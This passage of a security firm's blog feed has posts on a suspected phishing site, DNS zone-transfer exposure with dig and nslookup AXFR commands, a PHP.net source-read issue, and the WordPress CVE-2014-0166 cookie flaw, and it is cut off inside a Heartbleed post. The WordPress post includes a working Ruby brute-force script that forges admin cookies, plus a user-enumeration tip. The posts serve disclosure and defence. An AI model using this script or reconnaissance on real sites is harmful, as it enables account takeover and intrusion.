entries 檔!</p> <p><a href="/assets/img/blog/20140507/3.svn_entries.png"><img src="/assets/img/blog/20140507/3.svn_entries.png" alt=".svn 目錄" title=".svn 目錄" /></a></p> <p>這時候三太子哪吒剛好路過,說他剛剛在 Pastebin 看到有人貼了<a href="http://pastebin.com/4iEVWh24">一篇跟這個網站好像有關聯的內容</a>,講完他就開著水車跑去鎮壓龍宮了。點開那篇內容一看,內容有一些很奇怪的網址,讓人看了就很想點!隨便選了一個 http://vote.tw.am/2N9E6V4E5R4BABC0647469FF213F2D94A27FA/chose_vote.include.php 打開來看:</p> <p><a href="/assets/img/blog/20140507/4.vote.tw.am_homepage.png"><img src="/assets/img/blog/20140507/4.vote.tw.am_homepage.png" alt="投票項目" title="投票項目" /></a></p> <p>哇塞!原來從服貿就已經開始了呢!讓我們繼續點進去看看:</p> <p><a href="/assets/img/blog/20140507/5.vote.tw.am_navigation.png"><img src="/assets/img/blog/20140507/5.vote.tw.am_navigation.png" alt="投票結果導覽頁面" title="投票結果導覽頁面" /></a></p> <p>看起來是個後台,可以瀏覽使用者的投票記錄、留言等資料,那就點個投票記錄來看看:</p> <p><a href="/assets/img/blog/20140507/6.vote.tw.am_vote_record.png"><img src="/assets/img/blog/20140507/6.vote.tw.am_vote_record.png" alt="投票記錄" title="投票記錄" /></a></p> <p>果然裡面存著眾多民眾的投票記錄,那麼用戶反饋應該就是留言了…</p> <p>從這些內容看來,應該是有個集團擁有大量的民眾個資,並且一一發送訊息給這些人,背後目的尚不得而知。有可能是大陸人想利用這個熱潮確認這些電話號碼是否真實、可用,也有可能是不知名的黑手正在策劃下一個打壓動作?正當我們想搞清楚對方究竟是透過電話號碼還是信箱傳送 iMessage 時,哪吒忽然又路過了,丟了這張圖之後叫我們不要再瞎忙了趕快回家洗洗睡:</p> <p><a href="/assets/img/blog/20140507/7.scam.png"><img src="/assets/img/blog/20140507/7.scam.png" alt="IP、時間、電話、回應內容等資料" title="IP、時間、電話、回應內容等資料" /></a></p> <p>果然有電話!究竟這件事,是有網站大量洩漏個資,還是有人在民運期間利用這股熱潮蒐集個資,抑或是背後有什麼不可告人的秘密呢?讓我們繼續看下去~</p> <h3 id="夢醒時分">夢醒時分</h3> <p>上班時間不能午睡太久,於是周公就把我們叫醒了…..</p> <p>對於這樣的夢境我們有以下建議:</p> <ul> <li>不要隨意點擊來路不明的簡訊內容</li> <li>在網路上填寫任何內容之前先查證該網站是否可疑</li> <li>對於 [email protected] 這種可疑帳號所傳來的任何資料,請保持高度警戒</li> <li>對於 vote.tw.am 這種看起來疑似要偽裝成 .tw 網域的站台,也請保持高度警戒</li> </ul> <p>歡迎大家轉發這個消息到各大網站、粉絲團、BBS,告訴各個熱心公益的鄉民們別再點擊與回應來路不明的簡訊囉!</p> https://devco.re/blog/2014/05/07/vote.tw.am-potential-phishing-site/ https://devco.re/blog/2014/05/07/vote.tw.am-potential-phishing-site Wed, 07 May 2014 00:00:00 +0800 Zone Transfer CVE-1999-0532 - 古老的 DNS 資安議題 <h3 id="前言">前言</h3> <p><a href="http://en.wikipedia.org/wiki/Domain_Name_System">DNS</a> 是在 1983 年由 Paul Mockapetris 所發明,相關規範分別在 <a href="http://tools.ietf.org/html/rfc1034">RFC 1034</a> 以及 <a href="http://tools.ietf.org/html/rfc1035">RFC 1035</a>。其主要作用是用來記憶 IP 位址與英文之間的對應關係,讓人類可以用較簡單的方式記得主機名稱。目前一般民眾大多使用 ISP 或國際知名公司提供的 DNS server,如中華的 168.95.1.1 或是 Google 的 8.8.8.8 等等。</p> <p>然而對於企業而言,可能需要架設大量機器或內部系統,又希望以簡單的方式記憶主機名稱,因此許多企業有自行架設 DNS server 的需求。同時企業通常也會建立幾台備援 DNS server,以避免 DNS 服務忽然中斷。但是當企業有多台 DNS server 時,就必須考量 DNS 記錄的同步問題,通常會使用 <a href="http://en.wikipedia.org/wiki/DNS_zone_transfer">zone transfer</a> 這個功能來同步記錄。</p> <!-- more --> <p>然而若管理者未做好相關設定,使所有來源皆可對企業的 DNS 主機進行 zone transfer 查詢,則有機會讓此功能成為企業遭受攻擊的起點。用現實生活情境舉例的話,對外開放 zone transfer 就如同所有人都可以任意查詢你名下的所有房地產位在何處,假如有人要針對性的攻擊你,隨時都可以去看你某個房地產有沒有哪扇門窗沒關好,伺機入侵你的家園。一般我們對企業資訊系統進行<a href="http://devco.re/services/penetration-test">滲透測試</a>時,在資訊搜集的階段也會先從 domain name 下手,因此 DNS 相關資料的重要性可見一斑。</p> <p><a href="http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-0532">Zone transfer 的資安議題早在 1999 年就已有人提出</a>,理應成為各企業進行資安稽核的步驟之一。然而十五年過去了,在近期我們卻發現許多國內大企業仍有此問題,令人非常驚訝!究竟企業該如何檢測自身是否存在這種安全漏洞?此問題目前在台灣網路環境佔有多大的比例?Zone transfer 會對企業造成什麼影響?讓我們繼續看下去~</p> <h3 id="zone-transfer-檢測方式">Zone Transfer 檢測方式</h3> <p>首先需感謝 <a href="http://www.digininja.org/">DigiNinja</a> 提供了一個<a href="http://www.digininja.org/projects/zonetransferme.php">讓大家自由測試的 zonetransfer.me 網域</a>,以下我們分別在 Linux 及 Windows 環境下進行檢測。</p> <h4 id="linux">Linux</h4> <p>在 Linux 環境內,我們可利用 <a href="http://linux.vbird.org/linux_server/0350dns.php#dig">dig</a> 指令查詢目標 domain 使用哪些 name server:</p> <figure class="highlight"><pre><code class="language-bash" data-lang="bash">dig +nostats +nocomments +nocmd NS zonetransfer.me</code></pre></figure> <p>Name server 查詢結果:</p> <figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="p">;</span>zonetransfer.me. IN NS zonetransfer.me. 7118 IN NS ns12.zoneedit.com. zonetransfer.me. 7118 IN NS ns16.zoneedit.com.</code></pre></figure> <p>從結果可得知有 ns12.zoneedit.com 或 ns16.zoneedit.com 這兩個 DNS server,接著我們即可測試是否可從外部網路對這兩個 DNS server 進行 zone transfer,測試方式如下:</p> <figure class="highlight"><pre><code class="language-bash" data-lang="bash">dig axfr zonetransfer.me @ns12.zoneedit.com</code></pre></figure> <p>Zone transfer 測試結果:</p> <p><a href="/assets/img/blog/20140505/linux-zone-transfer-result.jpg" title="使用 dig 測試網域是否存在 zone transfer 漏洞"><img src="/assets/img/blog/20140505/linux-zone-transfer-result.jpg" alt="使用 dig 測試網域是否存在 zone transfer 漏洞" title="使用 dig 測試網域是否存在 zone transfer 漏洞" /></a></p> <p>從上面的測試結果中我們可發現,zonetransfer.me 這個網域的所有 DNS 設定已全部被列出。</p> <h4 id="windows">Windows</h4> <p>若是在 Windows 環境,可在命令提示字元環境內使用 <a href="http://support.microsoft.com/kb/200525/zh-tw">nslookup</a> 指令查詢目標 domain 使用哪些 name server:</p> <figure class="highlight"><pre><code class="language-bash" data-lang="bash">nslookup <span class="nt">-type</span><span class="o">=</span>ns zonetransfer.me</code></pre></figure> <p>Name server 查詢結果:</p> <figure class="highlight"><pre><code class="language-bash" data-lang="bash">Server: 8.8.8.8 Address: 8.8.8.8#53 Non-authoritative answer: zonetransfer.me nameserver <span class="o">=</span> ns12.zoneedit.com. zonetransfer.me nameserver <span class="o">=</span> ns16.zoneedit.com. Authoritative answers can be found from:</code></pre></figure> <p>輸入指令後我們如同先前使用 dig 一樣,得知目標有 ns12.zoneedit.com 與 ns16.zoneedit.com 這兩個 name server,接著再如下圖依序輸入三道指令查詢:</p> <figure class="highlight"><pre><code class="language-bash" data-lang="bash">nslookup server ns12.zoneedit.com <span class="nb">ls</span> <span class="nt">-d</span> zonetransfer.me</code></pre></figure> <blockquote> <p>註:Linux 版的 nslookup 沒有實作 ls 這個功能喔!</p> </blockquote> <p>Zone transfer 測試結果:</p> <p><a href="/assets/img/blog/20140505/windows-zone-transfer-result.jpg" title="使用 nslookup 測試網域是否存在 zone transfer 漏洞"><img src="/assets/img/blog/20140505/windows-zone-transfer-result.jpg" alt="使用 nslookup 測試網域是否存在 zone transfer 漏洞" title="使用 nslookup 測試網域是否存在 zone transfer 漏洞" /></a></p> <p>測試結果與 Linux 環境所得到的資料雷同,可成功列出該網域的所有 DNS 設定。</p> <h4 id="online-service">Online Service</h4> <p>當然,並不是每個人都熟悉上述指令的操作方式,因此除了介紹手動檢測方法之外,在這裡也提供幾個線上檢測的服務,讓大家可以迅速檢測自家公司或者你正在使用的服務是否有此問題:</p> <ul> <li><a href="https://www.ultratools.com/tools/zoneFileDump">UltraTools</a></li> <li><a href="http://hackertarget.com/zone-transfer/">HackerTarget</a></li> <li><a href="https://tools.digitalpoint.com/zone-transfer">Digital Point</a></li> </ul> <h3 id="實際案例">實際案例</h3> <p>如同上次 <a href="http://devco.re/blog/2014/03/10/security-issues-of-http-headers-1/">HTTP Headers 資安議題</a>所探討的對象,我們從 TIEA 成員以及 Alexa TW top 525 觀察 zone transfer 問題分別在這些族群中佔有多少比例。</p> <p>根據我們監測的結果,在目前 TIEA 的 132 名成員中,有 20 個網域存在 zone transfer 問題,佔了 15.15%。而在 Alexa TW top 525 當中,有 48 個網域存在 zone transfer 問題,佔了 9.14%。乍看之下比率似乎不高,但是在上述兩個族群的網域當中,包括:</p> <ul> <li>電信商</li> <li>多家電視媒體</li> <li>多家網路新聞媒體</li> <li>多家線上購物網站</li> <li>知名團購網站</li> <li>知名金流公司</li> <li>知名線上音樂服務</li> </ul> <p>台灣企業不夠注重資訊安全,罔顧客戶資料安全性,早已不是新聞。然而若企業不顧自身商業利益與責任,當彼此無商業往來時,我們也無法一一咎責。但若連台北市政府、教育部、多間大專院校都有此問題,就令人不太能接受了,這些政府單位與教育機構理當為我們的個人資料安全性負起全部的責任,不應該漏掉任何一個資安環節。上述結果顯示出台灣從政府到企業可能都沒有徹底落實 DNS 的資安設定,而且目前的數據僅僅是針對 TIEA 成員以及 Alexa TW top 525 進行檢測,若是對全台灣或是全世界進行大範圍的檢測,恐怕會發現更多驚人的案例!</p> <h3 id="對企業的潛在影響">對企業的潛在影響</h3> <ul> <li> <p>洩漏網域名稱</p> <p>一般企業在進行<a href="http://devco.re/services/penetration-test">滲透測試</a>時,通常只會挑幾個最重要、最常面對客戶的網域進行測試,但是入侵者可不會這麼乖。當有人嘗試要入侵企業時,必定是先進行全面的偵查,觀察企業哪幾個網域所執行的 service 有潛在的弱點,或是看哪幾個網域防禦力道較弱,再從該處下手。因此 zone transfer 問題所提供的完整 DNS 記錄,就為入侵者省下了許多偵查的工夫。</p> </li> <li> <p>洩漏外網 IP 範圍</p> <p>當攻擊者取得 zone transfer 所洩漏的資料後,可合理推斷哪些網段是屬於該企業,進一步對該網段進行掃描,嘗試找尋有機會入侵之標的物。</p> </li> <li> <p>洩漏內網 IP 範圍</p> <p>有些管理人員、開發者為求內部開發方便,經常會將網域名稱跟內網 IP 位址綁在一起,例如將 phpmyadmin.example.com 設定為 192.168.1.100,攻擊者就可根據此類資訊猜測內網哪些網段存在重要服務。這種設定平常也許不會造成重大損害,但是當管理者疏於建立內網防禦機制,恰好企業又被入侵至內網時,造成一連串重大損失的機率將會大幅提高。</p> </li> </ul> <h3 id="解決方式">解決方式</h3> <h4 id="linux-1">Linux</h4> <p>若使用 Linux,可在 /etc/named.conf 內加入下列選項,以限制可存取 zone transfer 的來源:</p> <figure class="highlight"><pre><code class="language-bash" data-lang="bash">options <span class="o">{</span> allow-transfer <span class="o">{</span> 1.2.3.4<span class="p">;</span> 5.6.7.8<span class="p">;</span> <span class="o">}</span><span class="p">;</span> <span class="o">}</span><span class="p">;</span></code></pre></figure> <p>設定完畢後,將 DNS 服務重啟即可生效。</p> <h4 id="windows-1">Windows</h4> <p>在 Windows server 當中,我們可到伺服器管理員修改網域的相關設定,如下圖:</p> <p><a href="/assets/img/blog/20140505/windows-zone-transfer-solution-1.png" title="於伺服器管理員修改網域的 zone transfer 設定"><img src="/assets/img/blog/20140505/windows-zone-transfer-solution-1.png" alt="於伺服器管理員修改網域的 zone transfer 設定" title="於伺服器管理員修改網域的 zone transfer 設定" /></a></p> <p>在伺服器管理員中,選定想要修改的網域(此處以 test.com 為例),按右鍵點選內容,將會跳出選單如下圖:</p> <p><a href="/assets/img/blog/20140505/windows-zone-transfer-solution-2.png" title="修改 test.com 的 zone transfer 設定"><img src="/assets/img/blog/20140505/windows-zone-transfer-solution-2.png" alt="修改 test.com 的 zone transfer 設定" title="修改 test.com 的 zone transfer 設定" /></a></p> <p>接著就是觀看「允許區域轉送」選項是否有勾選,若已勾選,則確認轉送對象是否為下列兩種:</p> <ul> <li>只到列在「名稱伺服器索」引標簽上的伺服器</li> <li>只到下列伺服器</li> </ul> <h4 id="tcp-53-port">TCP 53 port</h4> <p>DNS 在做 zone transfer 時是使用 TCP 53 port(有別於一般 DNS query 的 UDP 53 port),因此有些人會認為將 TCP 53 port 關閉就可以對付 zone transfer,而不想修改 zone transfer 的設定。其實這個觀念只對了一半,若 zone file 的資料小於 512 byte,仍然可以透過 UDP 傳輸。即使 zone file 的資料大於 512 byte,<a href="http://securityweekly.com/2011/11/incremental-zone-transfers-for.html">也可以用 Incremental Zone Transfer (IXFR) 的方式取得部分資料</a>。</p> <h3 id="結論">結論</h3> <p>如果企業今天非常有自信能夠替所有網域都準備好完善的安全措施,那麼 zone transfer 所洩漏的資料對該企業就不會有太嚴重的影響。然而,在現今這個入侵手法日新月異的世界裡,又有誰能夠永遠保證自己的安全防護已經做足了呢?在前陣子火紅的 <a href="http://devco.re/blog/2014/04/11/openssl-heartbleed-how-to-hack-how-to-protect/">OpenSSL CVE-2014-0160 Heartbleed</a> 問題被爆出來之後,我們就藉由許多 zone transfer 的記錄觀察到全世界有非常多企業只修復了主要網站的 OpenSSL 漏洞,卻忽略了企業內其他的服務與設備可能也有此漏洞,像是 DB、Email、VPN、NAS 等等,直到今日仍遲遲未修復。</p> <p>千萬別以為你所購買的各種資安設備能防禦所有資安弱點,也別忽略了各項古老的資安弱點,更別小看了你所不熟悉的駭客們的組合各式各樣弱點的能力,只要有一個資安環節疏漏,隨時都有可能對企業造成致命危機。</p> https://devco.re/blog/2014/05/05/zone-transfer-CVE-1999-0532-an-old-dns-security-issue/ https://devco.re/blog/2014/05/05/zone-transfer-CVE-1999-0532-an-old-dns-security-issue Mon, 05 May 2014 00:00:00 +0800 PHP 官網原始碼讀取案例 <p><a href="https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References">不安全的引用物件 (Insecure Direct Object Reference)</a> 是個非常常見的資安漏洞,在 <a href="https://www.owasp.org/">OWASP</a> 公布的<a href="https://www.owasp.org/index.php/Top_10_2013-Top_10">十大網站應用程式安全漏洞</a> 中高居第四名。通常發生在網站應用程式上沒有針對輸入的參數做好檢查,就把參數丟入 include 或 readfile 等函數當中引用,使得攻擊者可以藉此存取任意文件的原始碼。</p> <p>今天這個案例就發生在 PHP 的官方網站 (<a href="http://www.php.net/">http://www.php.net/</a>),消息來源是知名的 0-Day 黑市 1337day,發佈的日期是 2014/4/4 ,原始的內容是這樣的:</p> <!-- more --> <p><a href="/assets/img/blog/20140424/php.net_insecure_direct_object_reference_00_1337day.png"><img src="/assets/img/blog/20140424/php.net_insecure_direct_object_reference_00_1337day.png" alt="1337day 漏洞交易網站" title="1337day 漏洞交易網站" /> </a></p> <p>可以看到這個弱點是不公開的,想要知道內容的話要支付 82 美元相當於新台幣 3500 元呢!在強烈的好奇心屈使之下,自己打開工具來找看看:</p> <p><a href="/assets/img/blog/20140424/php.net_insecure_direct_object_reference_01_source_code.png"><img src="/assets/img/blog/20140424/php.net_insecure_direct_object_reference_01_source_code.png" alt="PHP 官方網站原始碼" title="PHP 官方網站原始碼" /></a></p> <p>透過簡單的分析和一點點運氣,找到了 「<a href="http://www.php.net/cached.php">http://www.php.net/cached.php</a>」 這隻程式,發現它傳入了「t」和「f」這兩個參數。「t」直覺上就是個 rand 數值,而「f」應該就是檔案位置了。這時候對 f 參數小小修改一下,神奇的事情發生了:</p> <p><a href="/assets/img/blog/20140424/php.net_insecure_direct_object_reference_02_cached.php.png"><img src="/assets/img/blog/20140424/php.net_insecure_direct_object_reference_02_cached.php.png" alt="cached.php 讀取原始碼" title="cached.php 讀取原始碼" /></a></p> <p>index.php 的原始碼被完整的讀出來,當然也要來看一下 cached.php 是怎麼寫的:</p> <p><a href="/assets/img/blog/20140424/php.net_insecure_direct_object_reference_03_cached.php_view_source.png"><img src="/assets/img/blog/20140424/php.net_insecure_direct_object_reference_03_cached.php_view_source.png" alt="cached.php 檢視原始碼" title="cached.php 檢視原始碼" /></a></p> <p>可以看到此處並未對 $_GET[“f”] 進行檢查,所以修改了 $_GET[“f”] 後,與 $abs 組合完,最後就直接丟入 readfile 讀取檔案。比較值得研究的是這邊使用了 realpath 與 strncmp 來比較 f 及 DOCUMENT_ROOT,確保 $abs 只能在網站目錄之下,所以無法使用 ../../ (<a href="https://www.owasp.org/index.php/Path_Traversal">Path Traversal</a>) 的方式跳脫目錄進行更進一步的滲透。</p> <p>最後我們將此發現回報給 [email protected] ,得到的回應是他們是「故意的 (intentional)」。且後來也知道 PHP 官網是開放原始碼(Open Source)的,可以到 <a href="http://git.php.net/?p=web/php.git;a=tree">http://git.php.net/?p=web/php.git;a=tree</a> 下載整個官網的原始碼。</p> <p><a href="/assets/img/blog/20140424/php.net_insecure_direct_object_reference_04_php_team_response.png"><img src="/assets/img/blog/20140424/php.net_insecure_direct_object_reference_04_php_team_response.png" alt="PHP.NET 官網團隊回應" title="PHP.NET 官網團隊回應" /></a></p> <p>雖然在這個案例中並沒有造成實質上的危害,沒有帳號、密碼、系統設定等機敏資料,但若把此種寫法用在其他地方,則可能造成很大的資安風險。就連 PHP 官方網站都有這樣的失誤,身為開發人員的你們更不可不慎!</p> https://devco.re/blog/2014/04/24/php.net-insecure-direct-object-reference/ https://devco.re/blog/2014/04/24/php.net-insecure-direct-object-reference Thu, 24 Apr 2014 00:00:00 +0800 CVE-2014-0166 WordPress 偽造 Cookie 弱點 <h3 id="前言">前言</h3> <p>在一陣 OpenSSL Heartbleed 淘金潮中,又有一個技術門檻低、後果嚴重、也同樣需要些運氣的漏洞被揭發-<a href="http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-0166">CVE-2014-0166</a>。CVE-2014-0166 是 WordPress 上面驗證登入 cookie 的弱點,攻擊者可以暴力偽造出合法 cookie,藉此獲得 WordPress 最高權限,進而拿到 shell 取得系統操作權。 讓我們來分析一下這次的弱點是發生了什麼事吧!</p> <!-- more --> <h3 id="解析">解析</h3> <p>這次出問題的程式碼在<a href="https://github.com/WordPress/WordPress/blob/684145ca8101e9ba5d9b4516709121fbe0fb9aee/wp-includes/pluggable.php#L650">這邊</a>,關鍵程式碼如下:</p> <figure class="highlight"><pre><code class="language-php" data-lang="php"><span class="nv">$key</span> <span class="o">=</span> <span class="nf">wp_hash</span><span class="p">(</span><span class="nv">$username</span> <span class="mf">.</span> <span class="nv">$pass_frag</span> <span class="mf">.</span> <span class="s1">'|'</span> <span class="mf">.</span> <span class="nv">$expiration</span><span class="p">,</span> <span class="nv">$scheme</span><span class="p">);</span> <span class="nv">$hash</span> <span class="o">=</span> <span class="nb">hash_hmac</span><span class="p">(</span><span class="s1">'md5'</span><span class="p">,</span> <span class="nv">$username</span> <span class="mf">.</span> <span class="s1">'|'</span> <span class="mf">.</span> <span class="nv">$expiration</span><span class="p">,</span> <span class="nv">$key</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span> <span class="nv">$hmac</span> <span class="o">!=</span> <span class="nv">$hash</span> <span class="p">)</span> <span class="p">{</span> <span class="cd">/** * Fires if a bad authentication cookie hash is encountered. * * @since 2.7.0 * * @param array $cookie_elements An array of data for the authentication cookie. */</span> <span class="nf">do_action</span><span class="p">(</span> <span class="s1">'auth_cookie_bad_hash'</span><span class="p">,</span> <span class="nv">$cookie_elements</span> <span class="p">);</span> <span class="k">return</span> <span class="kc">false</span><span class="p">;</span> <span class="p">}</span></code></pre></figure> <p>問題主要發生在比較運算子 != 上面,!= 運算子是 non-strict,會在比較前先做型態轉換,所以下面看似應該是回傳 true 的例子,全部都顯示為 false,細節請參閱<a href="http://www.php.net/manual/en/language.operators.comparison.php">官方手冊</a>。</p> <figure class="highlight"><pre><code class="language-php" data-lang="php"><span class="nb">var_dump</span><span class="p">(</span><span class="mi">0</span> <span class="o">!=</span> <span class="s2">"a"</span><span class="p">);</span> <span class="c1">// 0 != 0 -&gt; false</span> <span class="nb">var_dump</span><span class="p">(</span><span class="s2">"1"</span> <span class="o">!=</span> <span class="s2">"01"</span><span class="p">);</span> <span class="c1">// 1 != 1 -&gt; false</span> <span class="nb">var_dump</span><span class="p">(</span><span class="s2">"10"</span> <span class="o">!=</span> <span class="s2">"1e1"</span><span class="p">);</span> <span class="c1">// 10 != 10 -&gt; false</span> <span class="nb">var_dump</span><span class="p">(</span><span class="mi">100</span> <span class="o">!=</span> <span class="s2">"1e2"</span><span class="p">);</span> <span class="c1">// 100 != 100 -&gt; false</span> <span class="nb">var_dump</span><span class="p">(</span> <span class="s2">"0"</span> <span class="o">!=</span> <span class="s2">"0e10123456789012345678901234567890"</span> <span class="p">);</span> <span class="c1">// 0 != 0 -&gt; false</span></code></pre></figure> <p>進入正題,WordPress 認證身分用的 cookie 內容是這樣的:『username|expiration|hmac』。<br /> username 是使用者名稱,<br /> expiration 是有效期限(timestamp),<br /> hmac 值用來驗證 cookie 是否合法。<br /> 從上面程式碼可以看到,hmac 的算法是經過 username、pass_frag、expiration、key 綜合得出。若有辦法控制 cookie 中的 hmac 使伺服器認為該 cookie 合法,就可以成功偽造成 username。</p> <p>利用稍早提到的比較運算子問題,若我們讓 cookie 中的 hmac 值為 0,很有可能讓判斷式變成下面這樣:</p> <figure class="highlight"><pre><code class="language-php" data-lang="php"><span class="c1">//if ( $hmac != $hash ) {</span> <span class="k">if</span> <span class="p">(</span> <span class="s2">"0"</span> <span class="o">!=</span> <span class="s2">"0e10123456789012345678901234567890"</span> <span class="p">)</span> <span class="p">{</span> <span class="nf">do_action</span><span class="p">(</span> <span class="s1">'auth_cookie_bad_hash'</span><span class="p">,</span> <span class="nv">$cookie_elements</span> <span class="p">);</span> <span class="k">return</span> <span class="kc">false</span><span class="p">;</span> <span class="p">}</span></code></pre></figure> <p>如此便可以通過驗證,成功偽造合法 cookie。<br /> 而為了讓 $hash == 0,可以不斷改變 cookie 中的 expiration,讓產生的 MD5 值($hash)經過型態轉換後剛好變成 0。<br /> 符合 $hash == 0 的 MD5 $hash 值有 0eXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX、00eXXXXXXXXXXXXXXXXXXXXXXXXXXXXX….000000000000000000000000000eX、00000000000000000000000000000 (X = 0,1,2,3,4,5,6,7,8,9)</p> <p>故出現 $hash == 0 的機率為 Sum(10^n,n=0,30)/16^32 = 3.265262085617465e-09</p> <p>每次偽造的成功機率約為三億分之一,並不會很高,但已經足夠在一個月內拿到最高權限,而且所耗成本並不會很高。</p> <h3 id="實驗">實驗</h3> <p>為了驗證此方法之可行性,我們架設了 <a href="http://tw.WordPress.org/WordPress-3.8.1-zh_TW.zip">WordPress 3.8.1</a> 環境。並且寫程式將登入 cookie 中的 hmac 設為 0,不斷調整 expiration 值測試是否已經登入,程式如下:</p> <figure class="highlight"><pre><code class="language-ruby" data-lang="ruby"><span class="nb">require</span> <span class="s1">'httpclient'</span> <span class="n">http</span> <span class="o">=</span> <span class="no">HTTPClient</span><span class="p">.</span><span class="nf">new</span> <span class="n">cookie_name</span> <span class="o">=</span> <span class="s2">"WordPress_logged_in_de5be3cf9fcea023a1303527e10ea67a"</span> <span class="n">timestamp</span> <span class="o">=</span> <span class="no">Time</span><span class="p">.</span><span class="nf">now</span><span class="p">.</span><span class="nf">to_i</span> <span class="p">(</span><span class="n">timestamp</span><span class="o">..</span><span class="n">timestamp</span><span class="o">+</span><span class="mi">800000000</span><span class="p">).</span><span class="nf">each</span> <span class="k">do</span> <span class="o">|</span><span class="n">time</span><span class="o">|</span> <span class="n">result</span> <span class="o">=</span> <span class="n">http</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="s1">'http://domain.my/WordPress/'</span><span class="p">,</span> <span class="kp">nil</span><span class="p">,</span> <span class="p">{</span><span class="s2">"Cookie"</span><span class="o">=&gt;</span><span class="s2">"</span><span class="si">#{</span><span class="n">cookie_name</span><span class="si">}</span><span class="s2">=admin%7C</span><span class="si">#{</span><span class="n">time</span><span class="si">}</span><span class="s2">%7C0"</span><span class="p">})</span> <span class="k">if</span> <span class="n">result</span><span class="p">.</span><span class="nf">body</span><span class="p">.</span><span class="nf">include?</span> <span class="s1">'logout'</span> <span class="nb">puts</span> <span class="s2">"admin%7C</span><span class="si">#{</span><span class="n">time</span><span class="si">}</span><span class="s2">%7C0"</span> <span class="k">break</span> <span class="k">end</span> <span class="k">end</span></code></pre></figure> <blockquote> <p>註:此程式為 POC,請自行調整為多執行緒版本,不然速度會很慢。</p> </blockquote> <p>經過一段長時間的等待,得到的結果如下:</p> <p><a href="/assets/img/blog/20140416/iTerm.png"><img src="/assets/img/blog/20140416/iTerm.png" alt="暴力偽造 cookie,直到成功登入" title="暴力偽造 cookie,直到成功登入" /></a></p> <p>得知當 cookie 中的 username 為 admin 且 expiration 值為 1421818232 時,伺服器算出來的 hmac 經過型態轉換會變成 0。我們將測試成功的 cookie 值: admin%7C1421818232%7C0 貼到瀏覽器上。成功變成 admin 如下圖,實驗成功!</p> <p><a href="/assets/img/blog/20140416/Mantra1.png"><img src="/assets/img/blog/20140416/Mantra1.png" alt="利用偽造的 cookie 登入 WordPress" title="利用偽造的 cookie 登入 WordPress" /></a></p> <blockquote> <p>註:一般狀況,若不知道 WordPress 最高權限的帳號,可以利用 WordPress 的 feature 在 http://your.WordPress.com/?author=$id ($id: 1,2,3,4…,999,…) 頁面中列舉所有使用者帳號。通常 $id = 1 的 author 都有 WordPress 的管理權限。</p> </blockquote> <h3 id="結論">結論</h3> <p>最近出現了一個高風險通報 CVE-2014-0166,其中提及 WordPress 在舊版驗證 cookie 的部分出現弱點,可以偽造合法 cookie,進而取得 WordPress 管理權限。本文分析了其原理,並且證實之。</p> <p>對於攻擊者而言,雖然每次偽造 cookie 成功的機率約為三億分之一並不高,但發送三億個 request 後或許能拿到最高權限,已經是值得投資的級數。</p> <p>對於 WordPress 管理者而言,建議立即更新至 3.8.2 以後版本,以免受到此風險攻擊。</p> <p>從此事件也提醒了 PHP 開發者,在撰寫重要的驗證行為,要特別注意 PHP 比較運算子的特性,請使用 === (不等於請用 !==)來保證等式左右型態與值為一樣,避免因為轉型造成的資安風險。</p> https://devco.re/blog/2014/04/16/cve-2014-0166-wordpress-forged-cookie-vulnerabilities/ https://devco.re/blog/2014/04/16/cve-2014-0166-wordpress-forged-cookie-vulnerabilities Wed, 16 Apr 2014 00:00:00 +0800 OpenSSL Heartbleed 全球駭客的殺戮祭典,你參與了嗎? <p>你跟上了 OpenSSL Heartbleed 的祭典了嗎?如果還沒有,別忘記詳細閱讀一下我們的前文「<a href="http://devco.re/blog/2014/04/09/openssl-heartbleed-CVE-2014-0160/">OpenSSL CVE-2014-0160 Heartbleed 嚴重漏洞</a>」。</p> <p>這幾天不少企業、民眾都不斷來詢問我們相對應的解決方案:</p> <ul> <li>Heartbleed 跟我有關嗎?我該怎麼知道?</li> <li>我該怎麼更新 OpenSSL?</li> <li>我如果不能更新,要怎麼防止攻擊?</li> <li>Heartbleed 漏洞攻擊者會怎麼利用?</li> <li>目前受害的狀況如何?</li> <li>我只是一般民眾,該如何應對?</li> </ul> <p>我相信不少人都有類似的疑問,我們以這篇專文補遺上次沒提到的資訊。</p> <!-- more --> <h3 id="攻擊手法示範">攻擊手法示範</h3> <p>大家都說 OpenSSL Heartbleed 漏洞可望為本年度最嚴重的漏洞,到底有多嚴重呢?我相信沒有看到攻擊的範例是沒有感覺的。大家可以先看看以下的影片,利用最先釋出的兩個簡單的 PoC exploit (弱點利用程式)「ssltest.py」以及「check-ssl-heartbleed.pl」,來檢測伺服器是否有 Heartbleed 問題。檢測的同時可以獲取伺服器記憶體中的資訊,其中就可能包含了機敏資訊。</p> <p>讓我們來看看吧!</p> <center><div class="videowrapper"><iframe width="560" height="420" src="https://www.youtube.com/embed/kFGzu0-cIxE" frameborder="0"> </iframe></div></center> <p>首先利用 <a href="http://pastebin.com/WmxzjkXJ">ssltest.py</a> 來測試,來看伺服器是否有被 heartbleed 漏洞影響,fbi.gov 在第三天已經修復這個問題。</p> <p><a href="/assets/img/blog/20140411/2014-04-11-openssl-heartbleed-detail-01-ssltest.py.png"><img src="/assets/img/blog/20140411/2014-04-11-openssl-heartbleed-detail-01-ssltest.py.png" alt="利用 ssltest.py 來測試伺服器是否有 Heartbleed 漏洞。" title="利用 ssltest.py 來測試伺服器是否有 Heartbleed 漏洞。" /></a></p> <p>如果是檢測一個有漏洞的網站,這個工具會直接把記憶體的內容顯示出來,其中可能包括 http 傳輸的資料、帳號密碼、私密金鑰等。在這個例子中,攻擊程式讀取到使用者送出的 form,若其中包含個資將會被一覽無遺,非常危險。</p> <p><a href="/assets/img/blog/20140411/2014-04-11-openssl-heartbleed-detail-02-ssltest.py-data.png"><img src="/assets/img/blog/20140411/2014-04-11-openssl-heartbleed-detail-02-ssltest.py-data.png" alt="利用 ssltest.py 抓出記憶體中的資料,其中包括 HTTP 傳輸內容。" title="利用 ssltest.py 抓出記憶體中的資料,其中包括 HTTP 傳輸內容。" /> </a></p> <p>另一個工具 <a href="https://github.com/noxxi/p5-scripts/blob/master/check-ssl-heartbleed.pl">check-ssl-heartbleed.pl</a> 可以使用 -R 參數做更有效的利用。直接執行指令可以快速顯示伺服器有無問題。</p> <p><a 